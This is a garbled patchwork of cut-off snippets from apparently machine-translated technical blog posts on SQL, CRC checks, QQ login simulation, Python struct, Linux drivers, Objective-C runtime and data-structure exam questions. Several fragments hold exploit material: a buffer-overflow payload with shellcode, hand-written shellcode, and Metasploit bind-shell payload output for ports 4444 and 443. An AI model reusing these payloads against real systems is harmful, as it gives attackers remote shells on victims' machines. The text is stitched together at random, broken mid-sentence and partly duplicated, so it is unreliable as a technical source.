x12 isa

prohibits the deletion of this data for referential integrityIf you must removeMethod 1: Delete the foreign key and then delete the dataMethod 2: Delete the deptno=10 on the secondary table and remove the data from the primary tableDelete the data on the primary table, the primary key data on the primary table does not correspond to the secondary table, such as deleting deptno=40 data2.5 Adding a constraint to a table (defining user-defined integrity)Add a checkSql> ALTER TABLE emp_t add constr

" * 1028Gdt1 = "\ x04 \ xB4 \ x12 \ x00"Pad1 = "\ x41" * 4Gdt2 = "\ xF4 \ xB3 \ x12 \ x00"Pad2 = "\ x41" * 12Gdt3 = "\ x04 \ xB4 \ x12 \ x00" SC = (# Avoid: '\ x00 \ xff \ xf5'"\ X6a \ x32 \ x59 \ xd9 \ xee \ xd9 \ x74 \ x24 \ xf4 \ x5b \ x81 \ x73 \ x13 \ xba" +"\ Xb3 \ x5c \ xb6 \ x83 \ xeb \ xfc \ xe2 \ xf4 \ x46 \ x5b \ xd5 \ xb6 \ xba \ xb3" +"\ X3c \ x3f \

\ x00 \ x0C \ x75 \ x72 \ x6C \ x20 \ x00 \ x00 \ x00 \ x01 \ x00 \ x00 \ xA4 \ xDB \ x73 \ x74 \ x62 \ x6C \ x00 \ x00 \ x00 \ x5B \ x73 \ x74 \ x73 \ x64 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x01 \ x00 \ x00 \ x00 \ x4B \ x6D \ x34 \ x61 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x01 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x02 \ x00 \ x10 \ x00 \ x00 \ x00 \ x00 \ xAC \ x44 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x27 \ x65 \ x73 \ x64 \ x73 \ x00 \ x00 \ x00 \ x00 \

"\ x55 \ x8B \ xEC \ x83 \ xEC \ x2C \ xB8 \ x63 \ x6F \ x6D \ x6D \ x89 \ x45 \ xF4 \ xB8 \ x61 \ x6E \ x64 \ x2E "" \ x89 \ x45 \ xF8 \ xB8 \ x63 \ x6F \ x6D \ x22 \ x89 \ x45 \ xFC \ x33 \ xD2 \ x88 \ x55 \ xFF \ x8D \ x45 \ xF4 "" \ x50 \ xB8 "" \ xc7 \ x93 \ xbf \ x77 "" \ xFF \ xD0 "" \ x83 \ xC4 \ x12 \ x5D "; In addition // Bind a shell to port 4444, which can be remotely logged on via telnet /* Win32_bind-EXITFUNC = process LPORT = 4444 Si

windows/shell_bind_tcp lport=4444-b "\x00"-f pythonbuf = "buf + =" \xb8\x3c\xb1\x1e\x1d\xd9\xc8\xd9\x74\x24\xf4\x5a\x33 "buf + =" \xc9\xb1\x53\x83\xc2 \X04\X31\X42\X0E\X03\X7E\XBF\XFC "buf + =" \xe8\x82\x57\x82\x13\x7a\xa8\xe3\x9a\x9f\x99\x23\xf8 "buf + =" \xd4\x8a\x93 \x8a\xb8\x26\x5f\xde\x28\xbc\x2d\xf7\x5f "buf + =" \x75\x9b\x21\x6e\x86\xb0\x12\xf1\x04\xcb\x46\xd1\x35 "buf + =" \x04 \x9b\x10\x71\x79\x56\x40\x2a\xf5\xc5\x74\x5f\x43 "buf + =" \xd6\x

I. INTRODUCTION of CRCFirst here is what is CRC: Cyclic redundancy Code Check English name is cyclical redundancy check, referred to as CRC, it is the use of division and the remainder of the principle of false detection (error detecting). In practical application, the transmitting device calculates the CRC value and sends it along with the data to the receiving device, and the receiving device recalculates the CRC to the received data and compares it with the received CRC, which indicates that

By chance, I saw a QQ number in a group always reply automatically based on the message you sent. At that time, I felt amazing. I knew that I could simulate login to the website, but I did not expect that I could simulate login to QQ, first of all, I thought of how to simulate logon to the PC-end QQ. I started to study it and found it hard to understand the packets sent by QQ. So I switched to the web version QQ, because all the requests can be captured on the Web page to better implement the si

= X16 + X12 + X5 + 1 CRC16 = X16 + X15 + X5 + 1 CRC12 = X12 + X11 + X3 + X2 + 1 CRC32 = X32 + X26 + X23 + X22 + X16 + X12 + X11 + X10 + X8 + X7 + X5 + X4 + X2 + X1 + 1 Each generated polynomial can correspond to a code, for example, CRC8 code: 100110001. Iii. CRC verification code calculation If the information field is set to K-bit and the verification field is

A chance I saw a QQ number in a group is always based on the message you send your own initiative to reply, at that time very feeling wonderful. I know to be able to simulate the login site, unexpectedly can also be simulated login QQ, the first thing I think of is how to achieve the simulation of the PC-side QQ, began to study the next, found that QQ sent packets are very difficult to understand.So it turned to the web version of QQ, because in the Web page can capture all the requests to bette

('Type:', type (STR_)) - Print(STR_) About Print(repr (str_)) $ - #Length:8 - #type: - #b ' \x14\x00\x00\x00\x90\x01\x00\x00 ' A #b ' \x14\x00\x00\x00\x90\x01\x00\x00 ' + the - #2, Struct.unpack $A1, a2 = Struct.unpack ("", STR_)#return to progenitor the Print(A1, A2)#20,400 the the the #3. Struct.calcsize used to calculate the length of the result of the format string - Print(Struct.calcsize ('>ii'))#8 in the the #4, Struct.pack_into, Struct.unpack_from About fromcTYPESImportCreate_str

root@bt:~# msfpayload windows/shell/bind_tcp lport=443 C/* * windows/shell/bind_tcp-298 bytes (Stage 1) * http://www. metasploit.com * Verbose=false, lport=443, rhost=, exitfunc=process, * initialautorunscript=, AutoRunScript= * * unsign ed char buf[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30" "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\ X28\x0f\xb7\x4a\x26\x31\xff "" \x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2 "" \xf0\x52\x57\x8b\ X52\x10\x8b\x42\x3c\x01\xd0\x8b\x40

Memory mapping is one of the most interesting features of modern Unix systems. As for drivers, memory mappings can be implemented to provide direct access to device memory by user programs. A clear example of a mmap usage can be seen from a subset of the virtual memory areas that are viewed to the X Windows system server: Cat/proc/731/maps 000a0000-000c0000 rwxs 000a0000 03:01 282652/dev/mem 000f0000-00100000 r-xs 000f0000 03:01 282652/dev/mem 00400000-005c0000 R-xp 00000000 03:01 1366927/usr/x

(1) In A full binary tree with A depth of 5, the number of leaf nodes is A) 32B) 31C) 16D) 15 (2) if A binary tree uses abdgcefh as its forward traversal access order and dgbaechf as its central traversal access order, the node access order for the subsequent traversal is A) bdgcefhaB) gdbecfhaC) bdgaechfD) gdbehfca (3) Some important programs (1) In A full binary tree with A depth of 5, the number of leaf nodes is A) 32 B) 31 C) 16 D) 15 (2) if A binary tree uses abdgcefh in the forward travers

inserted and deleted at the endpoint.D) nothing in common (2) It is known that the binary tree's post-order traversal sequence is dabec, the middle-order traversal sequence is debac, and its pre-order traversal sequence isA) acbedB) decabC) deabcD) cedba (3) What is not characteristic of a linked list?A) You do not have to estimate the storage space beforehand.B) Random Access to any elementC) insert and delete elements that do not need to be moved

Article Title: some technical information about NICs in Linux (1 ). Linux is a technology channel of the IT lab in China. Includes basic categories such as desktop applications, Linux system management, kernel research, embedded systems, and open source. For those who want to learn more about how NICs work, how to use existing drivers, and try to write their own drivers for NICs that are not currently supported, this information should be useful. If you do not have this idea, skip this section.

resources as they mature. However, Linux2.4 effectively curbed this trend. In a specific environment, Linux2.4 requires less memory. Of course, Linux2.4 includes more features than Linux2.2, and many new features require resources. 　　 Support for more System buses Linux2.2 supports all major bus in Intel hardware, including (E) ISA, VLB, PCI, and MCA. In addition, Linux2.4 supports ISA Plug-and-play device

This article turns from http://www.cnblogs.com/guoxiao/p/3583432.htmlRecently, I've been working on the runtime mechanism, and I think there's probably a lot of people who don't know that. I am here to share with you my understanding of the runtime mechanism.To understand runtime, we first understand the internal structure of classes and objects, and we will first describe the hierarchy of classes and objects in the lower OC.First, the definition of class and object is found from the runtime.h h

scrolls through the list with a finger or enters on a virtual keyboard, the Uikit generates time to transmit to the uiresponder response chain until an object in the chain handles the event. The corresponding core objects, such as: UIApplication, Uiwindow,uiview are inherited directly or indirectly from Uiresponder.2. Cocoa Object 2.1 Objective-c is an object-oriented languageObjective-c, like Java C + +, has encapsulation, inheritance, polymorphism, and reuse. However, unlike C + +, it has ove

a variety of ways, depending on their environment, and the range of support Rtti is different. The current common support methods include:A Visual C + + environment for rtti── such as,microsoft company is provided by the class library.provided by the C + + compiler (compiler)-for example, version,borland C + + 4.5.Provided by the Source code generator (code generator), such as the BELLVOBR system.Provided by the special preprocessor (preprocessor) of the OO database-for example, the poet system

of the program)1. Learning Objectives① understand the concept of reverse and ② master the X86 compilation basis, be able to read (reverse) Assembly code ③ Understanding of ISA (instruction set architecture) ④ understand the concept of function call stack frame, and can be debugged with GDB2. Key points of knowledgep104, p105:x86 addressing way of the definition of the three generations of P106:isa,